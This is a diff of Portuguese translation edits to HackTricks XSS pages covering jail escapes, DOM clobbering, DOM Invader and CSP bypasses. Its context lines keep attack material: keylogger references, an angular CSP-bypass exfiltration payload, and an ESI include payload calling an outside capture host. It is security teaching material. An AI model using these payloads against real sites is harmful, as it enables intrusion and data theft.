 
 ### Apenas Letras, Números e Pontos
@@ -953,7 +953,7 @@ Por exemplo, em [**este relatório**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-Y
 chrome-cache-to-xss.md
 {{#endref}}
 
-### Escape de XS Jails
+### Escape de Prisões XS
 
 Se você tiver apenas um conjunto limitado de caracteres para usar, verifique estas outras soluções válidas para problemas de XSJail:
 ```javascript
@@ -986,7 +986,7 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário:
+Se **tudo está indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário:
 
 - Usando import()
 ```javascript
@@ -1388,7 +1388,7 @@ Apenas pesquisando no github, encontrei alguns diferentes:
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
-- Você também pode usar metasploit `http_javascript_keylogger`
+- Você também pode usar o metasploit `http_javascript_keylogger`
 
 ### Roubo de tokens CSRF
 ```javascript
@@ -1471,7 +1471,7 @@ Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
 <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 ```
-### Regex - Acessar Conteúdo Oculto
+### Regex - Acesso a Conteúdo Oculto
 
 A partir de [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível encontrá-la após o valor da entrada do regex ter sido removido:
 ```javascript
@@ -1506,7 +1506,7 @@ xss-in-markdown.md
 
 ### XSS para SSRF
 
-Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Edge Side Include com este payload:
+Conseguiu XSS em um **site que usa cache**? Tente **atualizar isso para SSRF** através da Injeção de Inclusão Lateral com esta carga útil:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
@@ -1516,7 +1516,7 @@ Mais informações sobre esta técnica aqui: [**XSLT**](../xslt-server-side-inje
 ### XSS em PDF criado dinamicamente
 
 Se uma página da web está criando um PDF usando entrada controlada pelo usuário, você pode tentar **enganar o bot** que está criando o PDF para **executar código JS arbitrário**.\
-Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **explorar** esse comportamento para causar um **Server XSS**.
+Assim, se o **bot criador de PDF encontrar** algum tipo de **tags HTML**, ele vai **interpretá-las**, e você pode **explorar** esse comportamento para causar um **XSS no Servidor**.
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
@@ -1530,7 +1530,7 @@ pdf-injection.md
 
 ### XSS em Amp4Email
 
-AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, voltado para acelerar o desempenho de páginas da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diversos recursos, acessíveis via [AMP components](https://amp.dev/documentation/components/?format=websites).
 
 O formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
 

src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md

@@ -4,7 +4,7 @@
 
 Mais detalhes [**neste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
 
-A técnica discutida aqui envolve entender o comportamento e a interação de dois tipos principais de cache: o **back/forward cache (bfcache)** e o **disk cache**. O bfcache, que armazena uma captura completa de uma página, incluindo o heap do JavaScript, é priorizado em relação ao disk cache para navegações para frente/para trás devido à sua capacidade de armazenar uma captura mais abrangente. O disk cache, em contraste, armazena recursos buscados na web sem incluir o heap do JavaScript e é utilizado para navegações para frente/para trás para reduzir custos de comunicação. Um aspecto interessante do disk cache é sua inclusão de recursos buscados usando `fetch`, o que significa que os recursos de URL acessados serão renderizados pelo navegador a partir do cache.
+A técnica discutida aqui envolve entender o comportamento e a interação de dois tipos principais de cache: o **back/forward cache (bfcache)** e o **disk cache**. O bfcache, que armazena uma captura completa de uma página, incluindo o heap do JavaScript, é priorizado em relação ao disk cache para navegações para frente/para trás devido à sua capacidade de armazenar uma captura mais abrangente. O disk cache, em contraste, armazena recursos buscados na web sem incluir o heap do JavaScript e é utilizado para navegações para frente/para trás para reduzir custos de comunicação. Um aspecto interessante do disk cache é sua inclusão de recursos buscados usando `fetch`, o que significa que recursos de URL acessados serão renderizados pelo navegador a partir do cache.
 
 ### Pontos Chave:
 

src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md

@@ -21,7 +21,7 @@ Então, em "Dev Tools" --> "Sources" **selecione o arquivo** que você deseja su
 
 ![](<../../images/image (742).png>)
 
-Isso irá **copiar o arquivo JS localmente** e você poderá **modificar essa cópia no navegador**. Então, apenas adicione o **`debugger;`** onde você quiser, **salve** a alteração e **recarregue** a página, e toda vez que você acessar essa página da web **sua cópia local de JS será carregada** e seu comando de depurador mantido em seu lugar:
+Isso irá **copiar o arquivo JS localmente** e você poderá **modificar essa cópia no navegador**. Então, apenas adicione o **`debugger;`** onde você quiser, **salve** a alteração e **recarregue** a página, e toda vez que você acessar essa página da web **sua cópia local de JS será carregada** e seu comando de depuração mantido em seu lugar:
 
 ![](<../../images/image (594).png>)
 

src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

@@ -13,7 +13,7 @@ console.log(typeof document.x) //[object HTMLFormElement]
 ```
 **Apenas** certos elementos podem usar o **atributo name** para clobber globais, são eles: `embed`, `form`, `iframe`, `image`, `img` e `object`.
 
-Curiosamente, quando você usa um **elemento form** para **clobber** uma variável, você obterá o valor **`toString`** do próprio elemento: `[object HTMLFormElement]`, mas com **âncora** o **`toString`** será o **`href`** da âncora. Portanto, se você clobber usando a tag **`a`**, você pode **controlar** o **valor** quando é **tratado como uma string**:
+Curiosamente, quando você usa um **elemento form** para **clobber** uma variável, você obterá o valor **`toString`** do próprio elemento: `[object HTMLFormElement]`, mas com **âncora** o **`toString`** será o **`href`** da âncora. Portanto, se você clobber usando a **tag `a`**, você pode **controlar** o **valor** quando é **tratado como uma string**:
 ```html
 <a href="controlled string" id="x"></a>
 <script>
@@ -22,7 +22,7 @@ console.log(x) //controlled string
 ```
 ### Arrays & Attributes
 
-Também é possível **substituir um array** e **atributos de objeto**:
+Também é possível **sobrescrever um array** e **atributos de objeto**:
 ```html
 <a id="x">
 <a id="x" name="y" href="controlled">
@@ -214,6 +214,6 @@ Click to send!
 
 - [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
 - [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
+- Heyes, Gareth. JavaScript para hackers: Aprenda a pensar como um hacker.
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/dom-invader.md

@@ -25,7 +25,7 @@ Agora, atualize a página e nas **Dev Tools** você encontrará a **aba DOM Inva
 
 ### Injete um Canary
 
-Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o Canary**. Você deve agora começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, url...) e cada vez clicar em pesquisar. O DOM Invader verificará se o **canary terminou em algum sink interessante** que poderia ser explorado.
+Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o Canary**. Você deve agora começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, url...) e cada vez que clicar em buscar, o DOM Invader verificará se o **canary terminou em algum sink interessante** que poderia ser explorado.
 
 Além disso, as opções **Injetar parâmetros de URL** e **Injetar formulários** abrirão automaticamente uma **nova aba** **injetando** o **canary** em cada **parâmetro de URL** e **formulário** que encontrar.
 
@@ -38,7 +38,7 @@ Se você apenas quiser encontrar sinks potenciais que a página possa ter, mesmo
 DOM Invader permite testar para DOM XSS usando mensagens da web com recursos como:
 
 1. **Registro de mensagens da web** enviadas via `postMessage()`, semelhante ao registro de histórico de requisições/respostas HTTP do Burp Proxy.
-2. **Modificação** e **reemissão** de mensagens da web para testar manualmente por DOM XSS, semelhante à função do Burp Repeater.
+2. **Modificação** e **reemissão** de mensagens da web para testar manualmente por DOM XSS, similar à função do Burp Repeater.
 3. **Alteração automática** e envio de mensagens da web para sondar DOM XSS.
 
 #### Detalhes da mensagem

src/pentesting-web/xss-cross-site-scripting/dom-xss.md

@@ -65,7 +65,7 @@ Database
 | [**Injeção SQL do lado do cliente**](dom-xss.md#client-side-sql-injection)            | [**Manipulação de mensagens da Web**](dom-xss.md#web-message-manipulation)                 | `history.replaceState()`                                      | `WebSocket`                                                            |
 | `executeSql()`                                                                   | `postMessage()`                                                                     | \`\`                                                          | \`\`                                                                   |
 
-O sink **`innerHTML`** não aceita elementos `script` em nenhum navegador moderno, nem eventos `svg onload` serão acionados. Isso significa que você precisará usar elementos alternativos como `img` ou `iframe`.
+O **`innerHTML`** sink não aceita elementos `script` em nenhum navegador moderno, nem eventos `svg onload` serão acionados. Isso significa que você precisará usar elementos alternativos como `img` ou `iframe`.
 
 Esse tipo de XSS é provavelmente o **mais difícil de encontrar**, pois você precisa olhar dentro do código JS, ver se está **usando** algum objeto cujo **valor você controla**, e nesse caso, ver se há **alguma maneira de abusar** disso para executar JS arbitrário.
 
@@ -183,7 +183,7 @@ $.globalEval()
 
 De: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
 
-**Vulnerabilidades de manipulação de caminho de arquivo local** surgem quando um script passa **dados controláveis pelo atacante para uma API de manipulação de arquivos** como o parâmetro `filename`. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, poderia levar ao **navegador do usuário abrindo ou escrevendo um arquivo local arbitrário**.
+**Vulnerabilidades de manipulação de caminho de arquivo local** surgem quando um script passa **dados controláveis pelo atacante para uma API de manipulação de arquivos** como o parâmetro `filename`. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, poderia levar o **navegador do usuário a abrir ou gravar um arquivo local arbitrário**.
 
 Sinks:
 ```javascript
@@ -249,11 +249,11 @@ Sinks:
 
 O método `postMessage()` para enviar mensagens da web pode levar a vulnerabilidades se o ouvinte de eventos para receber mensagens manipular os dados recebidos de maneira insegura.
 
-### Manipulação de dados DOM
+### Manipulação de dados do DOM
 
 De: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
 
-**Vulnerabilidades de manipulação de dados DOM** surgem quando um script escreve **dados controláveis pelo atacante em um campo dentro do DOM** que é utilizado na UI visível ou na lógica do lado do cliente. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, pode alterar a aparência ou o comportamento da UI do lado do cliente.
+**Vulnerabilidades de manipulação de dados do DOM** surgem quando um script escreve **dados controláveis pelo atacante em um campo dentro do DOM** que é utilizado na UI visível ou na lógica do lado do cliente. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, pode alterar a aparência ou o comportamento da UI do lado do cliente.
 
 Sinks:
 ```javascript

src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md

@@ -51,7 +51,7 @@ Note como if4 é considerado ter origem `null`.
 ### Iframes com CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
 
 > [!NOTE]
-> Por favor, note como nos seguintes contornos a resposta para a página iframed não contém nenhum cabeçalho CSP que impeça a execução de JS.
+> Por favor, note como nos seguintes bypasses a resposta para a página iframed não contém nenhum cabeçalho CSP que impeça a execução de JS.
 
 O valor `self` de `script-src` não permitirá a execução do código JS usando o protocolo `data:` ou o atributo `srcdoc`.\
 No entanto, mesmo o valor `none` do CSP permitirá a execução dos iframes que colocam uma URL (completa ou apenas o caminho) no atributo `src`.\